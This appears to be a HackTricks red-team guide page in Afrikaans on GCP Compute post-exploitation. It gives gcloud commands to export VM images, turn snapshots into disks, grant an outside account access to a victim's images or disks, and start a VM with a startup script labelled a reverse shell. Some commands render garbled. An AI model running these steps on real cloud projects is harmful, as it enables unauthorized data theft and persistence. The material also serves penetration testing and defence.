GCP - Compute Post Exploitation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Compute

Vir meer inligting oor Compute en VPC (Networking) kyk:

GCP - Compute Enum

Eksporteer & Inspekteer beelde lokaal

Dit sal ’n aanvaller in staat stel om toegang tot die data wat binne reeds bestaande beelde bevat is of nuwe beelde van lopende VMs te skep en toegang tot hul data te kry sonder om toegang tot die lopende VM te hê.

Dit is moontlik om ’n VM-image na ’n bucket te eksporteer en dit dan af te laai en plaaslik te mount met die opdrag:

Eksporteer en laai VM-image af ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Voor die uitvoering van hierdie aksie mag die aanvaller voorregte oor die storage bucket nodig hê en beslis voorregte oor cloudbuild aangesien dit die diens is wat gevra gaan word om die export uit te voer
Verder, om dit te laat werk benodig die codebuild SA en die compute SA geprivilegieerde bevoegdhede.
Die cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com benodig:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

En die SA <project-id>-compute@developer.gserviceaccount.com benodig:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Eksporteer & Inspekteer Snapshots & Disks lokaal

Dit is nie moontlik om snapshots en disks direk te exporteer nie, maar dit is moontlik om ’n snapshot in ’n disk te omskep, ’n disk in ’n image en, volgens die vorige afdeling, daardie image te exporteer om dit lokaal te inspekteer

Skep disk vanaf snapshot en image vanaf disk ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Inspekteer 'n Image deur 'n VM te skep

Met die doel om toegang te kry tot die **data stored in an image** of binne 'n **running VM** vanwaar 'n **attacker has created an image,** is dit moontlik om 'n eksterne rekening toegang tot die image te gee:

<details>

<summary>Gee toegang tot image en skep 'n VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

en skep daarna ’n nuwe VM daaruit:

Skep VM-instansie vanaf beeld ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

As jy nie jou eksterne rekening toegang tot die image kon gee nie, kan jy ’n VM in die slagoffer se projek lanseer wat daardie image gebruik en die metadata laat ’n reverse shell uitvoer om toegang tot die image te kry deur die param by te voeg:

Skep VM met reverse shell in metadata ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Inspekteer ’n Snapshot/Disk deur dit aan ’n VM te koppel

Met die doel om toegang te kry tot die data gestoor in ’n disk of ’n snapshot, kan jy die snapshot omskakel na ’n disk, ’n disk na ’n image en die vorige stappe volg.

Of jy kan ’n eksterne rekening toegang gee oor die disk (as die beginpunt ’n snapshot is, gee toegang oor die snapshot of skep ’n disk daaruit):

Gee toegang tot disk ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Koppel die skyf aan ’n instance:

Koppel skyf aan instance ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Koppel die disk binne die VM:

  1. SSH into the VM:
SSH into VM and mount disk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identify the Disk: Sodra jy binne die VM is, identifiseer die nuwe disk deur die disk devices te lys. Tipies kan jy dit vind as /dev/sdb, /dev/sdc, ens.
  2. Format and Mount the Disk (if it’s a new or raw disk):
  • Create a mount point:
Create mount point and mount
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Mount the disk:
Mount disk device
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

As jy nie toegang aan ’n external project kan gee tot die snapshot of disk nie, moet jy moontlik hierdie aksies binne ’n instance in dieselfde project as die snapshot/disk uitvoer.

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks